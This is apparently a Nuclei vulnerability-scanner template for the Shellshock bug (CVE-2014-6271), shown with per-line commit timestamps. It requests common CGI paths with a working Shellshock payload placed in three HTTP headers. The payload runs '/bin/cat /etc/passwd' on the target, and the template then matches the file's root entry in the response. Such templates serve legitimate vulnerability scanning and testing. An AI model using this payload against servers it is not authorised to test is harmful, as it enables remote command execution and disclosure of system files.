2020-10-01 18:03:35 +00:00
|
|
|
id: CVE-2014-6271
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Shellshock
|
|
|
|
author: pentest_swissky
|
|
|
|
severity: high
|
|
|
|
description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-04-22 09:02:19 +00:00
|
|
|
- http://www.kb.cert.org/vuls/id/252743
|
|
|
|
- http://www.us-cert.gov/ncas/alerts/TA14-268A
|
2021-02-05 19:44:41 +00:00
|
|
|
tags: cve,cve2014,rce
|
2020-10-01 18:03:35 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-01-13 07:31:46 +00:00
|
|
|
- "{{BaseURL}}"
|
2020-10-01 18:03:35 +00:00
|
|
|
- "{{BaseURL}}/cgi-bin/status"
|
|
|
|
- "{{BaseURL}}/cgi-bin/stats"
|
|
|
|
- "{{BaseURL}}/cgi-bin/test"
|
|
|
|
- "{{BaseURL}}/cgi-bin/status/status.cgi"
|
|
|
|
- "{{BaseURL}}/test.cgi"
|
|
|
|
- "{{BaseURL}}/debug.cgi"
|
2021-07-23 03:10:33 +00:00
|
|
|
- "{{BaseURL}}/cgi-bin/test-cgi"
|
2020-10-01 18:03:35 +00:00
|
|
|
headers:
|
2020-10-01 18:45:00 +00:00
|
|
|
Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
|
|
|
|
Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
|
|
|
|
Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
|
2020-10-01 18:03:35 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2020-10-01 18:28:37 +00:00
|
|
|
part: body
|